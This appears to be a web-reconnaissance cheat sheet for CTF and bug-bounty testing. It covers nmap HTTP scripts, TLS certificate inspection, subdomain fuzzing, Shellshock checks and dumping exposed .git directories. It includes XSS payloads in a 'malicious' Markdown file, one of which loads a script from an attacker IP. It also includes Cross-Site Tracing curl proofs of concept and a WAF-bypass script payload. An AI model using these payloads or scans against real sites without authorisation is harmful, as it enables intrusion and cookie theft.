Page cover

Web Reconnaissance

Check-List
Nmap Scripts
Scan for config files
nmap -n -p<PORT> --script http-config-backup <IP>
Site map generator
nmap -Pn -script=http-sitemap-generator scanme.nmap.org
Stealthy Scan
nmap -n -Pn -vv -O -sV --script=http-enum,http-headers,http-methods,http-title,http-vuln* 192.168.1.1
fast scan
nmap -n -Pn -p 80 -open -sV -vvv -script banner,http-title -iR 1000
Markdown
  • Test for XSS , HTML injection and JavaScript execution:

Malicious Md file
### local XSS
<img src=x onerror=alert(1) />

### load image
<img src="http://10.10.14.162:8000/image.png" />

### load script
<script src="http://10.10.14.162:8000/script.js"></script>

### Md
<img src='http://10.10.14.162:8000/test.md' />
TRACE Method

Checking for Cross-Site Tracing (XST) – Bypassing HttpOnly Cookies

  • If TRACE is enabled and the response reflects cookies, an attacker can bypass the HttpOnly flag.

  • Normally, HttpOnly prevents JavaScript from accessing cookies, but TRACE can leak them if not properly restricted.

POC
curl -X TRACE https://target.com -H "Test: XST"
  • If the response includes the custom header, TRACE is enabled.

  • If it leaks Set-Cookie headers, it’s a serious security issue.

  • Bug Bounty Impact: Session Hijacking


Finding Internal Headers & Debug Info

Some servers return sensitive internal headers when TRACE is enabled, such as:

  • X-Forwarded-For --> Real client IP leak.

  • X-Backend-Server --> Internal server exposure.

  • Via --> Reveals proxy setup.

POC
curl -X TRACE https://target.com
  • Look for unusual headers in the response.

  • Bug Bounty Impact: Information Disclosure


Finding WAF / Security Device Bypasses

  • Some WAFs don’t inspect TRACE requests properly.

  • You can use TRACE to test whether WAF protections apply to certain endpoints.

POC
curl -X TRACE https://target.com/index.php --data "payload=<script>alert(1)</script>"

If TRACE reflects the payload, but normal requests are blocked, the WAF is bypassable.


Checking for Cross-Origin Attacks

  • If TRACE is enabled, it might allow same-origin policy (SOP) bypasses.

  • Some older browsers or misconfigured CORS setups can be exploited if TRACE echoes requests cross-origin.

Bypass User-Agent filtering
  • Use HTTPBin to check the User-Agent from any client.

  • Experiment with those User-Agent:

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.2420.81
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 OPR/109.0.0.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 14.4; rv:124.0) Gecko/20100101 Firefox/124.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15
Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 OPR/109.0.0.0
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Mozilla/5.0 (X11; Linux i686; rv:124.0) Gecko/20100101 Firefox/124.0
Website Fingerprinting
  • Or in the command line:

whatweb -v 10.10.10.121
Website banners
curl -IL https://www.inlanefreight.com
SSL Certificates
  • Use openssl to get the certificate's info:

echo | openssl s_client -showcerts -servername 10.10.10.124 -connect 10.10.10.124:443 2>/dev/null | openssl x509 -inform pem -noout -text
Grep for subdomains
echo | openssl s_client -showcerts -servername 10.10.10.124 -connect 10.10.10.124:443 2>/dev/null | openssl x509 -inform pem -noout -text | grep DNS | tr "," "\n" | cut -d: -f2
  • Create a custom wordlist with the subdomains to fuzz for response codes and gain a general idea of the content:

 ffuf -c -w domains -u https://FUZZ
  • When working with HTTPS is good practice to validate the SSL/TLS version and ciphers in use:

openssl s_client -connect 10.10.10.124:443 -servername 10.10.10.124 -showcerts
  • You can follow up with the -cipher flag to specify the cipher suites you're interested in:

openssl s_client -connect 10.10.10.124:443 -servername 10.10.10.124 -cipher ECDHE-RSA-AES256-GCM-SHA384
  • Check if the server implements HSTS by looking for it's header:

curl -I https://10.10.10.124
CGI Scripts
Shellshock Vulnerability Check
sudo nmap --script http-shellshock --script-args uri=<URL_ARCHIVO_SH> -p80 <IP>
Dump .git directory

If Directory brute-forcing reveals .git dump the source code:

git-dumper http://cat.htb/.git ~/Documents/CTF/HTB/cat.htb/dump

Is a good practice to restore all files for further enumeration

git restore .
Restore the staged changes and see the differences
git restore --staged . && git diff

When error messages provide specific text, use them to locate validation code

grep "invalid characters" *
grep -r "forbidden" ./
find . -name "*.php" -exec grep -l "validation" {} \;

Check for common PHP sanitization functions

  • htmlspecialchars() - Converts special characters to HTML entities

  • filter_var() - Validates and sanitizes data

  • addslashes() - Escapes quotes

  • strip_tags() - Removes HTML/PHP tags

Default 404 Error Pages

Most of the time is possible to find out which technology the application is being run by looking at the 404 Error pages. 0xdf has a very good cheat sheet for this, check it out here

Ruby Configuration Files

Worth to read the documentation

Look for this files
config/application.rb
config/database.yml

Last updated